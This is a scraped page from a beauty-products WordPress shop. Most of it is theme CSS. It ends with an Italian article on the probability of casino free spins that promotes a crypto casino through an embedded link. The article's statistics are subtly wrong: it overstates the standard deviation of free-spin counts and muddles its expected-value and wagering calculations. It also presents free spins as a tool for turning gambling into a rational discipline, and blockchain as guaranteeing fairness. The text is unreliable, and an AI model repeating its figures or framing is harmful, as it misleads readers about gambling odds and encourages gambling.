!important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}
:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}
:where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}
:root :where(.wp-block-pullquote){font-size: 1.5em;line-height: 1.6;}
</style>
<link rel='stylesheet' id='email-subscribers-css' href='https://thebeautyrx.com/wp-content/plugins/email-subscribers/lite/public/css/email-subscribers-public.css?ver=5.9.37' type='text/css' media='all' />
<link rel='stylesheet' id='salient-social-css' href='https://thebeautyrx.com/wp-content/plugins/salient-social/css/style.css?ver=1.2.5' type='text/css' media='all' />
<style id='salient-social-inline-css' type='text/css'>

  .sharing-default-minimal .nectar-love.loved,
  body .nectar-social[data-color-override="override"].fixed > a:before, 
  body .nectar-social[data-color-override="override"].fixed .nectar-social-inner a,
  .sharing-default-minimal .nectar-social[data-color-override="override"] .nectar-social-inner a:hover,
  .nectar-social.vertical[data-color-override="override"] .nectar-social-inner a:hover {
    background-color: #553d25;
  }
  .nectar-social.hover .nectar-love.loved,
  .nectar-social.hover > .nectar-love-button a:hover,
  .nectar-social[data-color-override="override"].hover > div a:hover,
  #single-below-header .nectar-social[data-color-override="override"].hover > div a:hover,
  .nectar-social[data-color-override="override"].hover .share-btn:hover,
  .sharing-default-minimal .nectar-social[data-color-override="override"] .nectar-social-inner a {
    border-color: #553d25;
  }
  #single-below-header .nectar-social.hover .nectar-love.loved i,
  #single-below-header .nectar-social.hover[data-color-override="override"] a:hover,
  #single-below-header .nectar-social.hover[data-color-override="override"] a:hover i,
  #single-below-header .nectar-social.hover .nectar-love-button a:hover i,
  .nectar-love:hover i,
  .hover .nectar-love:hover .total_loves,
  .nectar-love.loved i,
  .nectar-social.hover .nectar-love.loved .total_loves,
  .nectar-social.hover .share-btn:hover, 
  .nectar-social[data-color-override="override"].hover .nectar-social-inner a:hover,
  .nectar-social[data-color-override="override"].hover > div:hover span,
  .sharing-default-minimal .nectar-social[data-color-override="override"] .nectar-social-inner a:not(:hover) i,
  .sharing-default-minimal .nectar-social[data-color-override="override"] .nectar-social-inner a:not(:hover) {
    color: #553d25;
  }
</style>
<link rel='stylesheet' id='woof-css' href='https://thebeautyrx.com/wp-content/plugins/woocommerce-products-filter/css/front.css?ver=1.4.5' type='text/css' media='all' />
<style id='woof-inline-css' type='text/css'>

.woof_products_top_panel li span, .woof_products_top_panel2 li span{background: url(https://thebeautyrx.com/wp-content/plugins/woocommerce-products-filter/img/delete.png);background-size: 14px 14px;background-repeat: no-repeat;background-position: right;}
.woof_edit_view{
                    display: none;
                }

</style>
<link rel='stylesheet' id='chosen-drop-down-css' href='https://thebeautyrx.com/wp-content/plugins/woocommerce-products-filter/js/chosen/chosen.min.css?ver=1.4.5' type='text/css' media='all' />
<link rel='stylesheet' id='icheck-jquery-color-flat-css' href='https://thebeautyrx.com/wp-content/plugins/woocommerce-products-filter/js/icheck/skins/flat/_all.css?ver=1.4.5' type='text/css' media='all' />
<link rel='stylesheet' id='icheck-jquery-color-square-css' href='https://thebeautyrx.com/wp-content/plugins/woocommerce-products-filter/js/icheck/skins/square/_all.css?ver=1.4.5' type='text/css' media='all' />
<link rel='stylesheet' id='icheck-jquery-color-minimal-css' href='https://thebeautyrx.com/wp-content/plugins/woocommerce-products-filter/js/icheck/skins/minimal/_all.css?ver=1.4.5' type='text/css' media='all' />
<link rel='stylesheet' id='woof_by_author_html_items-css' href='https://thebeautyrx.com/wp-content/plugins/woocommerce-products-filter/ext/by_author/css/by_author.css?ver=1.4.5' type='text/css' media='all' />
<link rel='stylesheet' id='woof_by_instock_html_items-css' href='https://thebeautyrx.com/wp-content/plugins/woocommerce-products-filter/ext/by_instock/css/by_instock.css?ver=1.4.5' type='text/css' media='all' />
<link rel='stylesheet' id='woof_by_onsales_html_items-css' href='https://thebeautyrx.com/wp-content/plugins/woocommerce-products-filter/ext/by_onsales/css/by_onsales.css?ver=1.4.5' type='text/css' media='all' />
<link rel='stylesheet' id='woof_by_text_html_items-css' href='https://thebeautyrx.com/wp-content/plugins/woocommerce-products-filter/ext/by_text/assets/css/front.css?ver=1.4.5' type='text/css' media='all' />
<link rel='stylesheet' id='woof_label_html_items-css' href='https://thebeautyrx.com/wp-content/plugins/woocommerce-products-filter/ext/label/css/html_types/label.css?ver=1.4.5' type='text/css' media='all' />
<link rel='stylesheet' id='woof_select_radio_check_html_items-css' href='https://thebeautyrx.com/wp-content/plugins/woocommerce-products-filter/ext/select_radio_check/css/html_types/select_radio_check.css?ver=1.4.5' type='text/css' media='all' />
<link rel='stylesheet' id='woof_sd_html_items_checkbox-css' href='https://thebeautyrx.com/wp-content/plugins/woocommerce-products-filter/ext/smart_designer/css/elements/checkbox.css?ver=1.4.5' type='text/css' media='all' />
<link rel='stylesheet' id='woof_sd_html_items_radio-css' href='https://thebeautyrx.com/wp-content/plugins/woocommerce-products-filter/ext/smart_designer/css/elements/radio.css?ver=1.4.5' type='text/css' media='all' />
<link rel='stylesheet' id='woof_sd_html_items_switcher-css' href='https://thebeautyrx.com/wp-content/plugins/woocommerce-products-filter/ext/smart_designer/css/elements/switcher.css?ver=1.4.5' type='text/css' media='all' />
<link rel='stylesheet' id='woof_sd_html_items_color-css' href='https://thebeautyrx.com/wp-content/plugins/woocommerce-products-filter/ext/smart_designer/css/elements/color.css?ver=1.4.5' type='text/css' media='all' />
<link rel='stylesheet' id='woof_sd_html_items_tooltip-css' href='https://thebeautyrx.com/wp-content/plugins/woocommerce-products-filter/ext/smart_designer/css/tooltip.css?ver=1.4.5' type='text/css' media='all' />
<link rel='stylesheet' id='woof_sd_html_items_front-css' href='https://thebeautyrx.com/wp-content/plugins/woocommerce-products-filter/ext/smart_designer/css/front.css?ver=1.4.5' type='text/css' media='all' />
<link rel='stylesheet' id='woof-switcher23-css' href='https://thebeautyrx.com/wp-content/plugins/woocommerce-products-filter/css/switcher.css?ver=1.4.5' type='text/css' media='all' />
<link rel='stylesheet' id='woocommerce-layout-css' href='https://thebeautyrx.com/wp-content/plugins/woocommerce/assets/css/woocommerce-layout.css?ver=10.7.0' type='text/css' media='all' />
<link rel='stylesheet' id='woocommerce-smallscreen-css' href='https://thebeautyrx.com/wp-content/plugins/woocommerce/assets/css/woocommerce-smallscreen.css?ver=10.7.0' type='text/css' media='only screen and (max-width: 768px)' />
<link rel='stylesheet' id='woocommerce-general-css' href='https://thebeautyrx.com/wp-content/plugins/woocommerce/assets/css/woocommerce.css?ver=10.7.0' type='text/css' media='all' />
<style id='woocommerce-inline-inline-css' type='text/css'>
.woocommerce form .form-row .required { visibility: visible; }
</style>
<link rel='stylesheet' id='font-awesome-css' href='https://thebeautyrx.com/wp-content/themes/salient/css/font-awesome-legacy.min.css?ver=4.7.1' type='text/css' media='all' />
<link rel='stylesheet' id='salient-grid-system-css' href='https://thebeautyrx.com/wp-content/themes/salient/css/build/grid-system.css?ver=17.0.3' type='text/css' media='all' />
<link rel='stylesheet' id='main-styles-css' href='https://thebeautyrx.com/wp-content/themes/salient/css/build/style.css?ver=17.0.3' type='text/css' media='all' />
<link rel='stylesheet' id='nectar-header-layout-centered-menu-css' href='https://thebeautyrx.com/wp-content/themes/salient/css/build/header/header-layout-centered-menu.css?ver=17.0.3' type='text/css' media='all' />
<link rel='stylesheet' id='nectar-header-secondary-nav-css' href='https://thebeautyrx.com/wp-content/themes/salient/css/build/header/header-secondary-nav.css?ver=17.0.3' type='text/css' media='all' />
<link rel='stylesheet' id='nectar-single-styles-css' href='https://thebeautyrx.com/wp-content/themes/salient/css/build/single.css?ver=17.0.3' type='text/css' media='all' />
<link rel='stylesheet' id='nectar_default_font_open_sans-css' href='https://fonts.googleapis.com/css?family=Open+Sans%3A300%2C400%2C600%2C700&#038;subset=latin%2Clatin-ext' type='text/css' media='all' />
<link rel='stylesheet' id='responsive-css' href='https://thebeautyrx.com/wp-content/themes/salient/css/build/responsive.css?ver=17.0.3' type='text/css' media='all' />
<link rel='stylesheet' id='nectar-product-style-material-css' href='https://thebeautyrx.com/wp-content/themes/salient/css/build/third-party/woocommerce/product-style-material.css?ver=17.0.3' type='text/css' media='all' />
<link rel='stylesheet' id='woocommerce-css' href='https://thebeautyrx.com/wp-content/themes/salient/css/build/woocommerce.css?ver=17.0.3' type='text/css' media='all' />
<link rel='stylesheet' id='skin-material-css' href='https://thebeautyrx.com/wp-content/themes/salient/css/build/skin-material.css?ver=17.0.3' type='text/css' media='all' />
<link rel='stylesheet' id='salient-wp-menu-dynamic-css' href='https://thebeautyrx.com/wp-content/uploads/salient/menu-dynamic.css?ver=17678' type='text/css' media='all' />
<link rel='stylesheet' id='dynamic-css-css' href='https://thebeautyrx.com/wp-content/themes/salient/css/salient-dynamic-styles.css?ver=77319' type='text/css' media='all' />
<style id='dynamic-css-inline-css' type='text/css'>
#page-header-bg[data-post-hs="default_minimal"] .inner-wrap{text-align:center}#page-header-bg[data-post-hs="default_minimal"] .inner-wrap >a,.material #page-header-bg.fullscreen-header .inner-wrap >a{color:#fff;font-weight:600;border:var(--nectar-border-thickness) solid rgba(255,255,255,0.4);padding:4px 10px;margin:5px 6px 0 5px;display:inline-block;transition:all 0.2s ease;-webkit-transition:all 0.2s ease;font-size:14px;line-height:18px}body.material #page-header-bg.fullscreen-header .inner-wrap >a{margin-bottom:15px;}body.material #page-header-bg.fullscreen-header .inner-wrap >a{border:none;padding:6px 10px}body[data-button-style^="rounded"] #page-header-bg[data-post-hs="default_minimal"] .inner-wrap >a,body[data-button-style^="rounded"].material #page-header-bg.fullscreen-header .inner-wrap >a{border-radius:100px}body.single [data-post-hs="default_minimal"] #single-below-header span,body.single .heading-title[data-header-style="default_minimal"] #single-below-header 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a:hover{color:rgba(255,255,255,0.85)!important}#page-header-bg.fullscreen-header .author-section,#page-header-bg[data-post-hs="default_minimal"] .author-section{width:100%;z-index:10;text-align:center}#page-header-bg.fullscreen-header .author-section{margin-top:25px;}#page-header-bg.fullscreen-header .author-section span,#page-header-bg[data-post-hs="default_minimal"] .author-section span{padding-left:0;line-height:20px;font-size:20px}#page-header-bg.fullscreen-header .author-section .avatar-post-info,#page-header-bg[data-post-hs="default_minimal"] .author-section .avatar-post-info{margin-left:10px}#page-header-bg.fullscreen-header .author-section .avatar-post-info,#page-header-bg.fullscreen-header .author-section .meta-author,#page-header-bg[data-post-hs="default_minimal"] .author-section .avatar-post-info,#page-header-bg[data-post-hs="default_minimal"] .author-section .meta-author{text-align:left;display:inline-block;top:9px}@media only screen and (min-width :690px) and (max-width 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a{color:#ffffff!important;}body #page-header-bg .pinterest-share i,body #page-header-bg .facebook-share i,body #page-header-bg .linkedin-share i,body #page-header-bg .twitter-share i,body #page-header-bg .google-plus-share i,body #page-header-bg .icon-salient-heart,body #page-header-bg .icon-salient-heart-2{color:#ffffff;}#page-header-bg[data-post-hs="default_minimal"] .inner-wrap > a:not(:hover){color:#ffffff;border-color:rgba(255,255,255,0.4);}.single #page-header-bg #single-below-header > span{border-color:rgba(255,255,255,0.4);}body .section-title #portfolio-nav a:hover i{opacity:0.75;}.single #page-header-bg .blog-title #single-meta .nectar-social.hover > div a,.single #page-header-bg .blog-title #single-meta > div a,.single #page-header-bg .blog-title #single-meta ul .n-shortcode a,#page-header-bg .blog-title #single-meta .nectar-social.hover .share-btn{border-color:rgba(255,255,255,0.4);}.single #page-header-bg .blog-title #single-meta .nectar-social.hover > div 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(min-width:1000px){#page-header-wrap.fullscreen-header,#page-header-wrap.fullscreen-header #page-header-bg,html:not(.nectar-box-roll-loaded) .nectar-box-roll > #page-header-bg.fullscreen-header,.nectar_fullscreen_zoom_recent_projects,#nectar_fullscreen_rows:not(.afterLoaded) > div{height:calc(100vh - 217px);}.wpb_row.vc_row-o-full-height.top-level,.wpb_row.vc_row-o-full-height.top-level > .col.span_12{min-height:calc(100vh - 217px);}html:not(.nectar-box-roll-loaded) .nectar-box-roll > #page-header-bg.fullscreen-header{top:218px;}.nectar-slider-wrap[data-fullscreen="true"]:not(.loaded),.nectar-slider-wrap[data-fullscreen="true"]:not(.loaded) .swiper-container{height:calc(100vh - 216px)!important;}.admin-bar .nectar-slider-wrap[data-fullscreen="true"]:not(.loaded),.admin-bar .nectar-slider-wrap[data-fullscreen="true"]:not(.loaded) .swiper-container{height:calc(100vh - 216px - 32px)!important;}}.admin-bar[class*="page-template-template-no-header"] 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#page-header-bg.fullscreen-header,.nectar_fullscreen_zoom_recent_projects,.nectar-slider-wrap[data-fullscreen="true"]:not(.loaded),.nectar-slider-wrap[data-fullscreen="true"]:not(.loaded) .swiper-container,#nectar_fullscreen_rows:not(.afterLoaded):not([data-mobile-disable="on"]) > div{height:calc(100vh - 83px);}.wpb_row.vc_row-o-full-height.top-level,.wpb_row.vc_row-o-full-height.top-level > .col.span_12{min-height:calc(100vh - 83px);}body[data-transparent-header="false"] #ajax-content-wrap.no-scroll{min-height:calc(100vh - 83px);height:calc(100vh - 83px);}}.post-type-archive-product.woocommerce .container-wrap,.tax-product_cat.woocommerce .container-wrap{background-color:#f6f6f6;}.woocommerce.single-product #single-meta{position:relative!important;top:0!important;margin:0;left:8px;height:auto;}.woocommerce.single-product #single-meta:after{display:block;content:" ";clear:both;height:1px;}.woocommerce ul.products li.product.material,.woocommerce-page ul.products li.product.material{background-color:#ffffff;}.woocommerce ul.products li.product.minimal .product-wrap,.woocommerce ul.products li.product.minimal .background-color-expand,.woocommerce-page ul.products li.product.minimal .product-wrap,.woocommerce-page ul.products li.product.minimal .background-color-expand{background-color:#ffffff;}.screen-reader-text,.nectar-skip-to-content:not(:focus){border:0;clip:rect(1px,1px,1px,1px);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute!important;width:1px;word-wrap:normal!important;}.row .col img:not([srcset]){width:auto;}.row .col img.img-with-animation.nectar-lazy:not([srcset]){width:100%;}
</style>
<link rel='stylesheet' id='salient-child-style-css' href='https://thebeautyrx.com/wp-content/themes/salient-child/style.css?ver=17.0.3' type='text/css' media='all' />
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    <script type="text/template" id="tmpl-variation-template">
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<script type="text/javascript"> var root = document.getElementsByTagName( "html" )[0]; root.setAttribute( "class", "js" ); </script>	<noscript><style>.woocommerce-product-gallery{ opacity: 1 !important; }</style></noscript>
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		<style type="text/css" id="wp-custom-css">
			@media (min-width:320px) and (max-width:767px) {

div#woocommerce_products-2 {
    position: relative !important;
    top: 0px !important;
}
.woocommerce .material.product .product-wrap .product-add-to-cart {
    bottom: 31px !important;
}
.woof_container_inner.woof_container_inner_productcategories {
    padding-top: 0px !important;
}

img.jklll-secc {
    display: none !important;
}

img.jklll-secc {}
header#top {
    margin: 0 0 !important;
}

body #top #logo img, #header-outer[data-permanent-transparent="false"] #logo .dark-version {
    height: 110px !important;
}

.slide-out-widget-area-toggle.mobile-icon .lines-button.x2 .lines:after, .slide-out-widget-area-toggle.mobile-icon .lines-button.x2 .lines:before, .slide-out-widget-area-toggle.mobile-icon .lines-button:after {
    background-color: #000 !important;
}

div#sec11 {
    padding-top: 110px !important;
    padding-bottom: 80px !important;
}

div#sec11 p {
    font-size: 32px !important;
    line-height: 50px !important;
}

div#sec11 ul.kjllsc li:nth-child(2) a {
    position: relative;
    top: 19px;
}

div#sec2 {
    padding-top: 40px !important;
    padding-bottom: 60px !important;
}

div#sec2 h3 {
    font-size: 28px !important;
    padding: 0 0  !important;
}

div#sec3 h4 {
    font-size: 29px !important;
}

div#blog-secc h4 {
    width: 100% !important;
    font-size: 29px !important;
}

div#newzz-secc h3 {
    font-size: 28px !important;
}

div#newzz-secc {
    padding: 0 0  !important;
}

div#newzz-secc .es-form-field-container {
    width: 100% !important;
}
}

/*  */

.woof_container {
    /* background: #fffaf0; */
    padding: 20px;
    border-radius: 16px;
    font-family: 'Inter', sans-serif;
}

.woof_container .woof_title {
    font-weight: 600;
    font-size: 16px;
    margin-bottom: 10px;
}

.woof_container .woof_list label {
    display: block;
    padding: 5px 0;
    font-size: 14px;
    color: #333;
}

.woof_container .woof_checkbox, 
.woof_container .woof_radio {
    accent-color: #b9732f; /* Customize to your brand */
}

.woof_price_slider {
    margin: 15px 0;
}

.woof_price_slider_amount {
    font-weight: 500;
    font-size: 13px;
}


.container-wrap {
    background-color: #fef7e4 !important;
}

#sidebar h4 {
    font-size: 20px !important;
    font-weight: 600 !important;
    color: #151d3f !important;
    font-family: "Work Sans", sans-serif ! Important;
    opacity: 1 !important;
}

.woocommerce .widget_price_filter .ui-slider .ui-slider-range, .material.woocommerce-page .widget_price_filter .ui-slider .ui-slider-range {
    background-color: #151d3f !important;
}

.woocommerce.material .widget_price_filter .ui-slider .ui-slider-handle:before, .material.woocommerce-page .widget_price_filter .ui-slider .ui-slider-handle:before {
    box-shadow: 0 0 0 10px #151d3f inset !important;
}

.price_label {
    font-size: 14px !important;
    font-weight: 600 !important;
    color: #151d3f !important;
    font-family: "Work Sans", sans-serif ! Important;
}

label.woof_checkbox_label {
    font-size: 15px !important;
    font-weight: 600 !important;
    color: #151d3f !important;
    font-family: "Work Sans", sans-serif ! Important;
}

.woof_container .woof_container_inner input[type="search"] {
    background-color: transparent !important;
    border-bottom: 1px solid #00000024 !important;
    border-radius: 0px !important;
    border-top: none !important;
    border-left: none !important;
    border-right: none !important;
}

h1.page-title {
    font-size: 40px !important;
    font-weight: 600 !important;
    color: #151d3f !important;
    font-family: "Work Sans", sans-serif ! Important;
}

a.nectar-shop-filter-trigger {
    font-size: 20px !important;
    font-weight: 600 !important;
    color: #151d3f !important;
    font-family: "Work Sans", sans-serif ! Important;
}

p.woocommerce-result-count {
    font-size: 18px !important;
    font-weight: 600 !important;
    color: #151d3f !important;
    font-family: "Work Sans", sans-serif ! Important;
}

select.orderby {
    font-size: 14px !important;
    font-weight: 600 !important;
    color: #151d3f !important;
    font-family: "Work Sans", sans-serif ! Important;
    border: 1px solid #151d3f !important;
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		  		  <h1 class="entry-title">La Scienza delle Free Spins: Come la Probabilità Semplifica le Tue Scelte nei Casinò Online</h1>

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				<span class="meta-author vcard author"><span class="fn"><span class="author-leading">By</span> <a href="https://thebeautyrx.com/author/admin/" title="Posts by admin" rel="author">admin</a></span></span><span class="meta-date date published">November 29, 2025</span><span class="meta-date date updated rich-snippet-hidden">September 24th, 2026</span><span class="meta-comment-count"><a href="https://thebeautyrx.com/la-scienza-delle-free-spins-come-la-probabilita-semplifica-le-tue-scelte-nei-casino-online/#respond">No Comments</a></span>			</div><!--/single-below-header-->
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<article id="post-3205" class="post-3205 post type-post status-publish format-standard category-uncategorized">
  
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        <div class="content-inner"><p>Le free spins rappresentano da tempo uno dei bonus più accattivanti offerti dai casinò online. Nel 2026, la loro diffusione è aumentata grazie a piattaforme sempre più sofisticate, che combinano grafica 3D, meccaniche di gioco basate su algoritmi probabilistici e promozioni personalizzate. Oggi, più di un terzo dei giocatori sceglie un sito in base alla quantità e alla qualità delle spin gratuite disponibili, perché questi bonus consentono di provare nuove slot senza impegnare il proprio capitale.  </p>
<p>Il panorama attuale è anche influenzato da una crescente attenzione verso la sicurezza dei dati e i metodi di pagamento. I giocatori cercano ambienti certificati, dove le transazioni in Bitcoin o altre criptovalute sono gestite con trasparenza. In questo contesto, i recensioni casinò più recenti enfatizzano l’importanza di piattaforme che offrono sia divertimento che protezione.  </p>
<p>Per chi vuole approfondire le opportunità offerte dal mondo delle criptovalute, un punto di riferimento utile è il sito di <a href="https://ipacso.eu" target="_blank">crypto casino</a>, dove è possibile trovare guide pratiche e confronti tra diversi operatori.  </p>
<p>Infine, le free spins non sono solo un incentivo marketing: sono un vero strumento di analisi statistica per chi desidera trasformare il gioco d’azzardo online in una disciplina più razionale. Nei paragrafi seguenti esploreremo come la probabilità, la legge dei grandi numeri e le nuove tecnologie blockchain possano guidare le decisioni dei giocatori più attenti.  </p>
<h2>Free Spins e la Legge dei Grandi Numeri</h2>
<p>La Legge dei Grandi Numeri afferma che, ripetendo un esperimento casuale un numero elevato di volte, la frequenza osservata di un evento tende a convergere verso la sua probabilità teorica. Applicata alle slot con free spins, la legge spiega perché un giocatore può percepire “una serie di vincite” in un breve periodo, ma a lungo termine il risultato si avvicina al valore atteso dal gioco.  </p>
<p>Immaginiamo una slot con 5 rulli e 20 simboli per rullo, dove le free spins vengono assegnate con una probabilità del 2 %. Su 10 000 giri, la media attesa di free spins è 200. Se in una sessione di 500 giri il giocatore ne riceve 15, sembra un’abbondanza; tuttavia, la deviazione standard è circa 10, quindi il risultato è ancora entro i limiti della casualità.  </p>
<p>I casinò sfruttano questa dinamica calibrando la frequenza delle spin gratuite per mantenere l’equilibrio tra intrattenimento e margine di profitto. Un esempio pratico è la slot “Galaxy Quest 2026”, che assegna una free spin ogni 45‑50 giri in media, ma con una soglia di attivazione variabile per evitare pattern prevedibili.  </p>
<table>
<thead>
<tr>
<th>Slot</th>
<th>Probabilità free spin</th>
<th>Media giri per free spin</th>
<th>RTP</th>
<th>Volatilità</th>
</tr>
</thead>
<tbody>
<tr>
<td>Galaxy Quest 2026</td>
<td>2,2 %</td>
<td>45</td>
<td>96,5 %</td>
<td>Media</td>
</tr>
<tr>
<td>Treasure Reef 2025</td>
<td>1,8 %</td>
<td>55</td>
<td>97,1 %</td>
<td>Alta</td>
</tr>
<tr>
<td>Neon Lights 2024</td>
<td>2,5 %</td>
<td>40</td>
<td>95,8 %</td>
<td>Bassa</td>
</tr>
</tbody>
</table>
<p>Questa tabella mostra come diverse slot bilanciano la frequenza delle free spins con altri parametri chiave. La legge dei grandi numeri garantisce che, su migliaia di giri, la distribuzione delle spin gratuite rispetti le percentuali dichiarate, proteggendo così sia l’operatore sia il giocatore da risultati estremi.  </p>
<p>In sintesi, la legge dei grandi numeri è il “fondo scientifico” dietro la percezione di generosità dei bonus: le spin gratuite sono distribuite in modo casuale, ma con una media predeterminata che assicura la sostenibilità del casinò.  </p>
<h2>Calcolo delle Probabilità di Vincita nelle Slot con Free Spins</h2>
<p>Per valutare l’effettiva convenienza delle free spins, è necessario comprendere le formule di base che governano le slot. La probabilità di una combinazione vincente si calcola moltiplicando le probabilità di ciascun simbolo su ogni rullo. In una slot a 5 rulli con 10 simboli per rullo, la probabilità di ottenere una linea specifica con tre simboli identici è (1/10)³ = 0,001, ovvero 0,1 %.  </p>
<p>Il Return to Player (RTP) rappresenta il valore medio restituito al giocatore su un lungo periodo di gioco. Se una slot ha un RTP del 96 % e la puntata è di 1 €, il valore atteso (EV) per spin è 0,96 €. Quando si aggiungono le free spins, l’EV si modifica perché le scommesse sono “gratuithe”, ma spesso sono soggette a requisiti di wagering.  </p>
<p>Esempio pratico su “Mystic Fortune 2026”, una slot lanciata a gennaio 2026 con RTP 97,2 % e volatilità media:  </p>
<ol>
<li>Puntata standard: 0,50 € per spin.  </li>
<li>Probabilità di attivare le free spins: 2,3 % (una free spin ogni 43 giri in media).  </li>
<li>Durante le free spins, il moltiplicatore medio è 3,5×.  </li>
</ol>
<p>Calcolo:<br />
&#8211; EV su spin normale = 0,50 € × 0,972 = 0,486 €.<br />
&#8211; EV su free spin = (0,50 € × 3,5) × 0,972 = 1,70 €.  </p>
<p>Poiché le free spins non richiedono una puntata reale, il valore netto per il giocatore è 1,70 € per spin gratuito, ma i termini di wagering (ad esempio, 20x la vincita) riducono il valore reale a circa 0,085 € per euro scommesso, se il giocatore rispetta i requisiti.  </p>
<p>Un altro aspetto è la volatilità: slot ad alta volatilità offrono vincite più rare ma più ingenti, mentre quelle a bassa volatilità generano piccole vincite frequenti. Quando le free spins sono collegate a un gioco ad alta volatilità, il rischio di “dry spell” aumenta, ma il potenziale di colpire un jackpot durante la fase gratuita può compensare la mancanza di profitto immediato.  </p>
<p>In conclusione, il calcolo delle probabilità richiede l’incrocio tra RTP, frequenza delle free spins, moltiplicatori e requisiti di wagering. Solo analizzando questi parametri il giocatore può capire se un’offerta è realmente vantaggiosa o se nasconde un valore atteso inferiore alle aspettative.  </p>
<h2>Strategie di Gestione del Budget Utilizzando le Free Spins</h2>
<p>Una gestione oculata del bankroll è fondamentale per evitare che le emozioni prendano il sopravvento. Le free spins, se usate con disciplina, possono ridurre il rischio di perdita e aumentare il tempo di gioco senza incrementare la spesa.  </p>
<ul>
<li><strong>Separare il capitale dalle spin gratuite</strong>: tenere il denaro destinato al gioco in un conto separato e considerare le free spins come un “bonus di prova”.  </li>
<li><strong>Stabilire un limite di tempo</strong>: decidere in anticipo quanti minuti o quante sessioni si dedicheranno alle free spins, così da non prolungare il gioco oltre il necessario.  </li>
<li><strong>Utilizzare le spin gratuite per testare la volatilità</strong>: giocare una serie di free spins su una slot ad alta volatilità permette di valutare se il profilo di rischio è adatto al proprio stile, senza compromettere il bankroll.  </li>
</ul>
<p>Quando le free spins hanno requisiti di wagering bassi (ad esempio 10x), è conveniente concentrarsi su di esse prima di passare alle puntate reali, perché il ritorno atteso è più veloce. Al contrario, se i requisiti sono elevati (30x o più), è più prudente limitare l’uso delle spin gratuite e riservare il capitale a giochi con condizioni più favorevoli.  </p>
<p>Un approccio sistematico prevede tre fasi:  </p>
<ol>
<li><strong>Acquisizione</strong> – raccogliere le free spins offerte dal casinò o tramite promozioni settimanali.  </li>
<li><strong>Valutazione</strong> – calcolare l’EV teorico delle spin gratuite in base al moltiplicatore medio e al RTP.  </li>
<li><strong>Esecuzione</strong> – utilizzare le spin gratuite solo quando l’EV supera il costo opportunità del capitale immobilizzato per i requisiti di wagering.  </li>
</ol>
<p>Seguendo questi passaggi, il giocatore può trasformare le free spins da semplice incentivo marketing a vero strumento di ottimizzazione del budget.  </p>
<h2>Impatto delle Tecnologie Blockchain sui Bonus di Free Spins</h2>
<p>Le piattaforme di crypto casino hanno introdotto una nuova era di trasparenza grazie agli smart contract. Un contratto intelligente registra in modo immutabile le condizioni di un bonus, compresa la quantità di free spins, i requisiti di wagering e i limiti temporali. Questo elimina la possibilità di modifiche retroattive da parte dell’operatore, aumentando la fiducia del giocatore.  </p>
<p>Ipacso, ad esempio, offre una sezione dedicata ai bonus basati su blockchain, dove è possibile visualizzare il codice sorgente del contratto che regola le free spins. Gli utenti possono verificare autonomamente che il numero di spin assegnate corrisponda a quanto pubblicizzato, semplicemente controllando l’indirizzo del contratto su un explorer pubblico.  </p>
<p>I vantaggi principali per il giocatore sono:  </p>
<ul>
<li><strong>Tracciabilità</strong>: ogni spin gratuita è associata a una transazione registrata, consentendo audit in tempo reale.  </li>
<li><strong>Fairness garantita</strong>: gli algoritmi di generazione di numeri casuali (RNG) sono spesso certificati da terze parti e i risultati sono pubblicati sulla blockchain, riducendo il rischio di manipolazione.  </li>
<li><strong>Velocità di pagamento</strong>: le vincite ottenute con le free spins possono essere prelevate immediatamente in Bitcoin o altre criptovalute, senza i lunghi processi di verifica tipici dei metodi tradizionali.  </li>
</ul>
<p>Questa sinergia tra bonus e blockchain sta cambiando la percezione dei giocatori verso i free spins: non sono più semplici “regali” ma strumenti contrattuali con regole chiare e verificabili. Il risultato è una maggiore sicurezza dei dati e una riduzione delle controversie legate ai termini di bonus.  </p>
<h2>Il Ruolo delle Free Spins nella Psicologia del Giocatore</h2>
<p>Le free spins agiscono su diversi meccanismi psicologici. Prima di tutto, la gratificazione immediata di una spin gratuita stimola il rilascio di dopamina, creando un’associazione positiva con il gioco. Questo effetto è amplificato quando le spin gratuite generano un “near‑miss”, ovvero un risultato quasi vincente che induce il giocatore a credere di essere vicino al premio.  </p>
